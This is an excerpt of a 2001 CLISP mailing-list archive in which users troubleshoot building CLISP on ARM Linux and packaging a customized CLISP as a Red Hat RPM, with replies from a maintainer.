[clisp-list] CLISP on iPaq running Linux?" > * Sent on Wed, 9 May 2001 10:32:10 +0300 > * Honorable Ola Rinta-Koski writes: > > Not much luck: > make: *** [spvw.o] Error 1 Please get the current CLISP version from the CVS. Bruno just fixed this (or so we hope :-) You will find the instructions on http://clisp.cons.org. PS. please keep clisp-list in CC. no help whatsoever will be provided via personal e-mail. you must either use the mailing lists or the sourceforge bug tracking facilities. -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on In the race between idiot-proof software and idiots, the idiots are winning. From ola@cyberell.com Thu May 10 02:25:37 2001 Received: from ip212-226-128-170.adsl.kpnqwest.fi ([212.226.128.170] helo=arenal.cyberell.com) by usw-sf-list1.sourceforge.net with smtp (Exim 3.22 #1 (Debian)) id 14xmhT-0003Wi-00 for ; Thu, 10 May 2001 02:25:35 -0700 Received: (qmail 7549 invoked by uid 102); 10 May 2001 09:25:43 -0000 Date: Thu, 10 May 2001 12:25:43 +0300 From: Ola Rinta-Koski To: Sam Steingold Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] CLISP on iPaq running Linux? Message-ID: <20010510122543.A7525@cyberell.com> References: <20010508133125.A27807@cyberell.com> <20010508193859.A19199@cyberell.com> <20010509103210.A28242@cyberell.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from sds@gnu.org on Wed, May 09, 2001 at 03:16:15PM -0400 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: On Wed, May 09, 2001 at 03:16:15PM -0400, Sam Steingold wrote: > > * In message <20010509103210.A28242@cyberell.com> > > * On the subject of "Re: [clisp-list] CLISP on iPaq running Linux?" > > * Sent on Wed, 9 May 2001 10:32:10 +0300 > > * Honorable Ola Rinta-Koski writes: > > > > Not much luck: > > make: *** [spvw.o] Error 1 > > Please get the current CLISP version from the CVS. > Bruno just fixed this (or so we hope :-) Now the compilation stops here: gcc -O -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fomit-frame-pointer -Wno-sign-compare -O2 -DUNICODE -c lisparit.c In file included from lisparit.d:22: arilev1.d:261: ariarm.c: No such file or directory make: *** [lisparit.o] Error 1 -- Ola Rinta-Koski ola@cyberell.com Cyberell Oy +358 41 467 2502 Rauhankatu 8 C, FIN-00170 Helsinki, FINLAND www.cyberell.com From sds@gnu.org Thu May 10 06:45:10 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14xqkg-0005fE-00 for ; Thu, 10 May 2001 06:45:10 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id JAA21861; Thu, 10 May 2001 09:45:00 -0400 (EDT) X-Envelope-To: To: Ola Rinta-Koski Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] CLISP on iPaq running Linux? References: <20010508133125.A27807@cyberell.com> <20010508193859.A19199@cyberell.com> <20010509103210.A28242@cyberell.com> <20010510122543.A7525@cyberell.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20010510122543.A7525@cyberell.com> Date: 10 May 2001 09:42:56 -0400 Message-ID: Lines: 26 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.104 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message <20010510122543.A7525@cyberell.com> > * On the subject of "Re: [clisp-list] CLISP on iPaq running Linux?" > * Sent on Thu, 10 May 2001 12:25:43 +0300 > * Honorable Ola Rinta-Koski writes: > > > Please get the current CLISP version from the CVS. > > Bruno just fixed this (or so we hope :-) > > Now the compilation stops here: don't despair - note that each time you get a little farther! > gcc -O -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fomit-frame-pointer -Wno-sign-compare -O2 -DUNICODE -c lisparit.c > In file included from lisparit.d:22: > arilev1.d:261: ariarm.c: No such file or directory > make: *** [lisparit.o] Error 1 you forgot the original advice - add -DSAFETY=3 to CFLAGS in the generated Makefile. we do not have assembly for ARM, and SAFETY=3 disables assembly. -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on The only thing worse than X Windows: (X Windows) - X From ola@cyberell.com Thu May 10 07:34:33 2001 Received: from ip212-226-128-170.adsl.kpnqwest.fi ([212.226.128.170] helo=arenal.cyberell.com) by usw-sf-list1.sourceforge.net with smtp (Exim 3.22 #1 (Debian)) id 14xrWS-0004r4-00 for ; Thu, 10 May 2001 07:34:32 -0700 Received: (qmail 7067 invoked by uid 102); 10 May 2001 14:34:40 -0000 Date: Thu, 10 May 2001 17:34:40 +0300 From: Ola Rinta-Koski To: Sam Steingold Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] CLISP on iPaq running Linux? Message-ID: <20010510173440.A7045@cyberell.com> References: <20010508133125.A27807@cyberell.com> <20010508193859.A19199@cyberell.com> <20010509103210.A28242@cyberell.com> <20010510122543.A7525@cyberell.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from sds@gnu.org on Thu, May 10, 2001 at 09:42:56AM -0400 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: On Thu, May 10, 2001 at 09:42:56AM -0400, Sam Steingold wrote: > > * In message <20010510122543.A7525@cyberell.com> > > * On the subject of "Re: [clisp-list] CLISP on iPaq running Linux?" > > * Sent on Thu, 10 May 2001 12:25:43 +0300 > > * Honorable Ola Rinta-Koski writes: > > > > > Please get the current CLISP version from the CVS. > > > Bruno just fixed this (or so we hope :-) > > > > Now the compilation stops here: > > don't despair - note that each time you get a little farther! Indeed. This time I got as far as the linker: gcc -O -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fomit-frame-pointer -Wno-sign-compare -O2 -DUNICODE -DSAFETY=3 -x none spvw.o spvwtabf.o spvwtabs.o spvwtabo.o eval.o control.o encoding.o pathname.o stream.o socket.o io.o array.o hashtabl.o list.o package.o record.o sequence.o charstrg.o debug.o error.o misc.o time.o predtype.o symbol.o lisparit.o unixaux.o modules.o libsigsegv.a libintl.a libiconv.a libreadline.a -lncurses -ldl -o lisp.run but fell on undefined references to the following: divu_3216_1616_ mulu32_ -- Ola Rinta-Koski ola@cyberell.com Cyberell Oy +358 41 467 2502 Rauhankatu 8 C, FIN-00170 Helsinki, FINLAND www.cyberell.com From sds@gnu.org Thu May 10 09:30:12 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14xtKO-0001RB-00 for ; Thu, 10 May 2001 09:30:12 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id MAA28012; Thu, 10 May 2001 12:30:07 -0400 (EDT) X-Envelope-To: To: Ola Rinta-Koski Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] CLISP on iPaq running Linux? References: <20010508133125.A27807@cyberell.com> <20010508193859.A19199@cyberell.com> <20010509103210.A28242@cyberell.com> <20010510122543.A7525@cyberell.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20010510122543.A7525@cyberell.com> Date: 10 May 2001 12:27:56 -0400 Message-ID: Lines: 27 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.104 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message <20010510122543.A7525@cyberell.com> > * On the subject of "Re: [clisp-list] CLISP on iPaq running Linux?" > * Sent on Thu, 10 May 2001 12:25:43 +0300 > * Honorable Ola Rinta-Koski writes: > > Now the compilation stops here: > > gcc -O -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fomit-frame-pointer -Wno-sign-compare -O2 -DUNICODE -c lisparit.c > In file included from lisparit.d:22: > arilev1.d:261: ariarm.c: No such file or directory > make: *** [lisparit.o] Error 1 this is strange. ariarm.c should have been generated from ariarm.d. please look at src/makemake.in (search for ariarm). Maybe you could debug why $cpu is not set to "arm"? (otherwise "ariarm" is added to $ARI_ASMS). Debugging a shell script is simple: you add " -xv" to "#!/bin/sh" on the first line, redirect the extensive output to a file, and examine it with Emacs. Thanks for your help! -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on The software said it requires Windows 3.1 or better, so I installed Linux. From ola@cyberell.com Fri May 11 00:15:31 2001 Received: from ip212-226-128-170.adsl.kpnqwest.fi ([212.226.128.170] helo=arenal.cyberell.com) by usw-sf-list1.sourceforge.net with smtp (Exim 3.22 #1 (Debian)) id 14y797-0005KC-00 for ; Fri, 11 May 2001 00:15:30 -0700 Received: (qmail 17087 invoked by uid 102); 11 May 2001 07:15:39 -0000 Date: Fri, 11 May 2001 10:15:39 +0300 From: Ola Rinta-Koski To: Sam Steingold Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] CLISP on iPaq running Linux? Message-ID: <20010511101539.A17016@cyberell.com> References: <20010508133125.A27807@cyberell.com> <20010508193859.A19199@cyberell.com> <20010509103210.A28242@cyberell.com> <20010510122543.A7525@cyberell.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from sds@gnu.org on Thu, May 10, 2001 at 12:27:56PM -0400 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: On Thu, May 10, 2001 at 12:27:56PM -0400, Sam Steingold wrote: > > * In message <20010510122543.A7525@cyberell.com> > > * On the subject of "Re: [clisp-list] CLISP on iPaq running Linux?" > > * Sent on Thu, 10 May 2001 12:25:43 +0300 > > * Honorable Ola Rinta-Koski writes: > > > > Now the compilation stops here: > > > > gcc -O -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fomit-frame-pointer -Wno-sign-compare -O2 -DUNICODE -c lisparit.c > > In file included from lisparit.d:22: > > arilev1.d:261: ariarm.c: No such file or directory > > make: *** [lisparit.o] Error 1 > > this is strange. ariarm.c should have been generated from ariarm.d. > please look at src/makemake.in (search for ariarm). > Maybe you could debug why $cpu is not set to "arm"? In makemake, this fails to set it: if [ "$host_cpu" = arm -o $TSYS = acorn ] ; then cpu=arm fi because $host_cpu is 'armv4l'. PS: I should note that I'm not actually compiling Clisp on a real iPaq, but rather on the public development machine set up by handhelds.org as skiffcluster[1-4].handhelds.org; they are used to make the handhelds.org iPaq Linux distribution, I believe, so for all intents and purposes they should behave the same. -- Ola Rinta-Koski ola@cyberell.com Cyberell Oy +358 41 467 2502 Rauhankatu 8 C, FIN-00170 Helsinki, FINLAND www.cyberell.com From ted@foi.se Fri May 11 03:55:32 2001 Received: from custos.foi.se ([150.227.16.253] helo=mercur.foa.se) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14yAa3-00072p-00 for ; Fri, 11 May 2001 03:55:31 -0700 Received: from truten.ffa.se (IDENT:root@truten.ffa.se [172.16.2.200]) by mercur.foa.se (8.9.3/8.9.3) with ESMTP id MAA12396 for ; Fri, 11 May 2001 12:55:27 +0200 (MEST) Received: from foi.se (IDENT:ted@lorient.ffa.se [172.16.53.6]) by truten.ffa.se (8.10.0/8.9.3) with ESMTP id f4BAtRe24238 for ; Fri, 11 May 2001 12:55:27 +0200 Message-ID: <3AFBC238.2ADED91F@foi.se> Date: Fri, 11 May 2001 12:43:04 +0200 From: Daniel Tourde Organization: The Swedish Defence Research Agency, Aeronautics Division FFA X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.2.16-22 i686) X-Accept-Language: fr, en, sv MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: [clisp-list] Clisp, rpm and added modules Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Hi! I am trying to generate an RPM for a RedHat 7.0 machine of an old version of clisp (2000-03-06) WITH added functionnalities and I encounter some problems that I hope someone can help me with. I used an existing .spec file and I modified it according to my needs. Basically the procedure is the well know ./configure make make install %prep %setup -q -n %{name}-2000-03-06 -a 1 %patch -p1 %build ./configure --prefix=%{_prefix} --fsstnd=redhat cd src ./makemake --prefix=%{_prefix} --with-readline --with-nogettext --with-dynamic-ffi > Makefile make config.lsp make %install rm -rf %{buildroot} mkdir %{buildroot} cd src make install_root=%{buildroot} install The fact is some functions are added into the core of Clisp. I am not the one wro wrote them, I know nothing about Clisp and I am just following the instruction left by the guy before he got retired. Basically here are the modifications: %prep %setup -q -n %{name}-2000-03-06 -a 1 %patch -p1 %build ./configure --prefix=%{_prefix} --fsstnd=redhat cd src ./makemake --prefix=%{_prefix} --with-readline --with-nogettext --with-dynamic-ffi > Makefile make config.lsp make cp lispinit.mem lispinit.mem.raw cp lisp.run lisp.run.raw cp ../ffi/* . echo -e "echo \" \"\n/usr/lib/clisp/base+cfun/lisp.run -M /usr/lib/clisp/base+cfun/lispinit.mem -i /usr/lib/clisp/ffi/psinit" > clispcp chmod 755 clispcp ./clisp-link create-module-set cfun lfun.c cc -O -c cfun.c cd cfun ln -s ../cfun.o cfun.o cd .. ar r libcfun.a cfun.o cp libcfun.a /usr/lib cp link.sh ./cfun ./base/lisp.run -M base/lispinit.mem -c lfun.lsp ./clisp-link add-module-set cfun base base+cfun ./base+cfun/lisp.run -M base+cfun/lispinit.mem -i lfun -Efile ISO-8859-1 -norc -x "(load \"comstart\") (compile-file \"psinit-ffi\") (compile-file \"psinit\") (compile-file \"net\") (compile-file \"smail\") (bye)" echo -e "echo \" \"\n$RPM_BUILD_DIR/%{name}-2000-03-06/src/base+cfun/lisp.run -M $RPM_BUILD_DIR/%{name}-2000-03-06/src/base+cfun/lispinit.mem -i $RPM_BUILD_DIR/%{name}-2000-03-06/src/comstart -Efile ISO-8859-1 -norc -x \"(saveinitmem) (exit)\" " > clbfni ./clbfni %install rm -rf %{buildroot} mkdir %{buildroot} cd src make install_root=%{buildroot} install cp -r ./base+cfun/ %{buildroot}/%{_libdir}/%{name} cp -r clispcp %{buildroot}/usr/bin cp libcfun.a %{buildroot}/%{_libdir} My former colleague never used the install procedure. He kept all the files at his disposition, that was a choice of him. When I follow the procedure until the install section, I obtain an image (cl) that works perfectly. When I run the install procedure, it seems that the memory core of clisp is then modified and it stops to work: The makefile for install-bin: install-bin : lisp.run lispinit.mem clisp.c force if [ ! -d $(install_root)$(prefix) ] ; then mkdir $(install_root)$(prefix) ; fi if [ ! -d $(install_root)$(exec_prefix) ] ; then mkdir $(install_root)$(exec_prefix) ; fi if [ ! -d $(install_root)$(libdir) ] ; then mkdir $(install_root)$(libdir) ; fi if [ ! -d $(install_root)$(lisplibdir) ] ; then mkdir $(install_root)$(lisplibdir) ; fi if [ ! -d $(install_root)$(lisplibdir)/data ] ; then mkdir $(install_root)$(lisplibdir)/data ; fi $(INSTALL_DATA) data/UnicodeData.txt $(install_root)$(lisplibdir)/data/UnicodeData.txt if [ ! -d $(install_root)$(lisplibdir)/linkkit ] ; then mkdir $(install_root)$(lisplibdir)/linkkit ; fi (cd $(install_root)$(lisplibdir) && rm -rf base full) mkdir $(install_root)$(lisplibdir)/base mkdir $(install_root)$(lisplibdir)/full for f in clisp-link linkkit/modules.d linkkit/modules.c linkkit/clisp.h base/* full/*; do cp -p $$f $(install_root)$(lisplibdir)/$$f; done if [ ! -d $(install_root)$(bindir) ] ; then mkdir $(install_root)$(bindir) ; fi $(CC) $(CFLAGS) $(CLFLAGS) -DLISPLIBDIR='"$(lisplibdir)"' -DLOCALEDIR='"$(localedir)"' clisp.c -o $(install_root)$(bindir)/clisp This gives during the installation process: ... ;; Loading file /usr/src/redhat/BUILD/clisp-2000-03-06/src/net.fas ... ;; Loading of file /usr/src/redhat/BUILD/clisp-2000-03-06/src/net.fas is finished.;; Loading file /usr/src/redhat/BUILD/clisp-2000-03-06/src/smail.fas ... ;; Loading of file /usr/src/redhat/BUILD/clisp-2000-03-06/src/smail.fas is finished. ;; Loading of file /usr/src/redhat/BUILD/clisp-2000-03-06/src/comstart.lsp is finished. 861512 ; 524288 Bye. + exit 0 Executing(%install): /bin/sh -e /var/tmp/rpm-tmp.53134 + umask 022 + cd /usr/src/redhat/BUILD + cd clisp-2000-03-06 + rm -rf /var/tmp/clisp-2000.03.06-root + mkdir /var/tmp/clisp-2000.03.06-root + cd src + make install_root=/var/tmp/clisp-2000.03.06-root install ./lisp.run -m 750KW -B . -Efile ISO-8859-1 -norc -x "(load \"init.lsp\") (sys::%saveinitmem) (exit)" i i i i i i i ooooo o ooooooo ooooo ooooo I I I I I I I 8 8 8 8 8 o 8 8 I \ `+' / I 8 8 8 8 8 8 \ `-+-' / 8 8 8 ooooo 8oooo `-__|__-' 8 8 8 8 8 | 8 o 8 8 o 8 8 ------+------ ooooo 8oooooo ooo8ooo ooooo 8 Copyright (c) Bruno Haible, Michael Stoll 1992, 1993 Copyright (c) Bruno Haible, Marcus Daniels 1994-1997 Copyright (c) Bruno Haible, Pierpaolo Bernardi, Sam Steingold 1998 Copyright (c) Bruno Haible, Sam Steingold 1999 ;; Loading file defseq.fas ... ;; Loading of file defseq.fas is finished. ;; Loading file backquot.fas ... ;; Loading of file backquot.fas is finished. ;; Loading file defmacro.fas ... ;; Loading of file defmacro.fas is finished. ... and it keeps going on like that with the same kind of procedures: ... ;; Loading file /usr/src/redhat/BUILD/clisp-2000-03-06/src/config.lsp ... ;; Loading of file /usr/src/redhat/BUILD/clisp-2000-03-06/src/config.lsp is finished. T 842532 ; 524288 Bye. mv lispimag.mem interpreted.mem ./lisp.run -m 1000KW -M interpreted.mem -B . -Efile ISO-8859-1 -norc -q -c init.lsp Compiling file /usr/src/redhat/BUILD/clisp-2000-03-06/src/init.lsp ... Compilation of file /usr/src/redhat/BUILD/clisp-2000-03-06/src/init.lsp is finished. 0 errors, 0 warnings ./lisp.run -m 1000KW -M interpreted.mem -B . -Efile ISO-8859-1 -norc -q -c defseq.lsp Compiling file /usr/src/redhat/BUILD/clisp-2000-03-06/src/defseq.lsp ... Compilation of file /usr/src/redhat/BUILD/clisp-2000-03-06/src/defseq.lsp is finished. ... ... The old definition will be lost Compilation of file /usr/src/redhat/BUILD/clisp-2000-03-06/src/macros1.lsp is finished. 0 errors, 0 warnings ./lisp.run -m 1000KW -M interpreted.mem -B . -Efile ISO-8859-1 -norc -q -c macros2.lsp Compiling file /usr/src/redhat/BUILD/clisp-2000-03-06/src/macros2.lsp ... WARNING: Redefining the COMMON LISP macro DEFLANGUAGE ... and so on and so on At the end of it, before I pack the files, I can read: .... ;; Loading file /usr/src/redhat/BUILD/clisp-2000-03-06/src/config.fas ... ;; Loading of file /usr/src/redhat/BUILD/clisp-2000-03-06/src/config.fas is finished. T 796288 ; 524288 Bye. mv lispimag.mem lispinit.mem if [ ! -d /var/tmp/clisp-2000.03.06-root/usr ] ; then mkdir /var/tmp/clisp-2000.03.06-root/usr ; fi ... I suppose that the final rpm does not contain the lispinit.mem and the lisp.run file it is supposed to contain because during the make install, things have happened. Could someone help me to solve this to get installed what I am really expecting to be installed. I am really sorry but as I said, I lack experience in the domain. I don't really know what to do now. I thank you in advance for any answer. Daniel -- *********************************************************************** Daniel TOURDE E-mail : daniel.tourde@foi.se Tel : +46 8 55 50 43 44 FOI, Swedish Defence Research Agency; Aeronautics Division - FFA Dept. of Wind Energy and Aviation Environmental Research SE-172 90 Stockholm, Sweden Fax : +46 8 25 34 81 *********************************************************************** From sds@gnu.org Fri May 11 07:10:55 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14yDd9-0000JK-00 for ; Fri, 11 May 2001 07:10:55 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id KAA23549; Fri, 11 May 2001 10:10:52 -0400 (EDT) X-Envelope-To: To: Daniel Tourde Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Clisp, rpm and added modules References: <3AFBC238.2ADED91F@foi.se> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <3AFBC238.2ADED91F@foi.se> Date: 11 May 2001 10:09:07 -0400 Message-ID: Lines: 8 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.104 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: I saw no error messages in you message. What is your question? (Sorry - I didn't get it) -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on War doesn't determine who's right, just who's left. From ted@foi.se Fri May 11 07:19:25 2001 Received: from custos.foi.se ([150.227.16.253] helo=mercur.foa.se) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14yDlM-0001XS-00 for ; Fri, 11 May 2001 07:19:24 -0700 Received: from truten.ffa.se (IDENT:root@truten.ffa.se [172.16.2.200]) by mercur.foa.se (8.9.3/8.9.3) with ESMTP id QAA21871; Fri, 11 May 2001 16:19:20 +0200 (MEST) Received: from foi.se (IDENT:ted@lorient.ffa.se [172.16.53.6]) by truten.ffa.se (8.10.0/8.9.3) with ESMTP id f4BEJJe00613; Fri, 11 May 2001 16:19:19 +0200 Message-ID: <3AFBF200.D778B366@foi.se> Date: Fri, 11 May 2001 16:06:56 +0200 From: Daniel Tourde Organization: The Swedish Defence Research Agency, Aeronautics Division FFA X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.2.16-22 i686) X-Accept-Language: fr, en, sv MIME-Version: 1.0 To: sds@gnu.org CC: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Clisp, rpm and added modules References: <3AFBC238.2ADED91F@foi.se> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Hi Sam, > I saw no error messages in you message. > What is your question? > (Sorry - I didn't get it) My problem is fairly simple. The make + add ons procedure produce something I can use. After the make install it does not work anymore. How am I supposed to get things working? It seems that the make install phase modify the content of lispinit.mem and lisp.run somehow (This is what I guess, I am not even sure). I just want to install things, not to get them modified during the process... So here is my problem and my question is fairly straightforward, how do I do it? Daniel -- *********************************************************************** Daniel TOURDE E-mail : daniel.tourde@foi.se Tel : +46 8 55 50 43 44 FOI, Swedish Defence Research Agency; Aeronautics Division - FFA Dept. of Wind Energy and Aviation Environmental Research SE-172 90 Stockholm, Sweden Fax : +46 8 25 34 81 *********************************************************************** From sds@gnu.org Fri May 11 07:26:14 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14yDry-0002YD-00 for ; Fri, 11 May 2001 07:26:14 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id KAA26830; Fri, 11 May 2001 10:26:10 -0400 (EDT) X-Envelope-To: To: Ola Rinta-Koski Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] CLISP on iPaq running Linux? References: <20010508133125.A27807@cyberell.com> <20010508193859.A19199@cyberell.com> <20010509103210.A28242@cyberell.com> <20010510122543.A7525@cyberell.com> <20010511101539.A17016@cyberell.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never In-Reply-To: <20010511101539.A17016@cyberell.com> From: Sam Steingold Date: 11 May 2001 10:24:25 -0400 Message-ID: Lines: 33 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.104 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message <20010511101539.A17016@cyberell.com> > * On the subject of "Re: [clisp-list] CLISP on iPaq running Linux?" > * Sent on Fri, 11 May 2001 10:15:39 +0300 > * Honorable Ola Rinta-Koski writes: > > > Maybe you could debug why $cpu is not set to "arm"? > > In makemake, this fails to set it: > if [ "$host_cpu" = arm -o $TSYS = acorn ] ; then > cpu=arm > fi > > because $host_cpu is 'armv4l'. fixed. please do $ cvs up src/makemake.in and remake the Makefile. > I should note that I'm not actually compiling Clisp on a real iPaq, > but rather on the public development machine set up by handhelds.org > as skiffcluster[1-4].handhelds.org; they are used to make the > handhelds.org iPaq Linux distribution, I believe, so for all intents > and purposes they should behave the same. How can I get access to that machine? (I don't want to create a project &c - to much hassle) -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on I don't like cats! -- Come on, you just don't know how to cook them! From sds@gnu.org Fri May 11 08:24:14 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14yEm6-0002oz-00 for ; Fri, 11 May 2001 08:24:14 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id LAA09131; Fri, 11 May 2001 11:24:11 -0400 (EDT) X-Envelope-To: To: Daniel Tourde Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Clisp, rpm and added modules References: <3AFBC238.2ADED91F@foi.se> <3AFBF200.D778B366@foi.se> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <3AFBF200.D778B366@foi.se> Date: 11 May 2001 11:22:23 -0400 Message-ID: Lines: 45 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.104 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Hi Daniel, > * In message <3AFBF200.D778B366@foi.se> > * On the subject of "Re: [clisp-list] Clisp, rpm and added modules" > * Sent on Fri, 11 May 2001 16:06:56 +0200 > * Honorable Daniel Tourde writes: > > My problem is fairly simple. The make + add ons procedure produce > something I can use. After the make install it does not work anymore. > How am I supposed to get things working? this is strange. make creates 2 "clisp linking sets" (== pair of lisp.run and lispinit.mem) - "base" with the basic CL image and - "full" with all the modules you specified on the configure command line (--with-module=clx/new-clx &c). these two liking sets are installed in /usr/local/lib/clisp/base and /usr/local/lib/clisp/full when you do "make install". additionally, "make install" creates a driver executable "clisp" and installs it as /usr/local/bin/clisp. the driver execs the right image with the right options. Essentially it knows the installation defaults and passes them to lisp.run. Thus after "./configure --build build" you can call clisp as $ ./build/lisp.run -B ./build -I ./build/lispinit.mem and after "make install" you can just use $ clisp What does not work for you? > It seems that the make install phase modify the content of > lispinit.mem and lisp.run somehow (This is what I guess, I am not even > sure). I just want to install things, not to get them modified during > the process... install does not modify anything. -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on The only time you have too much fuel is when you're on fire. From marcoxa@cs.nyu.edu Sat May 12 16:02:53 2001 Received: from 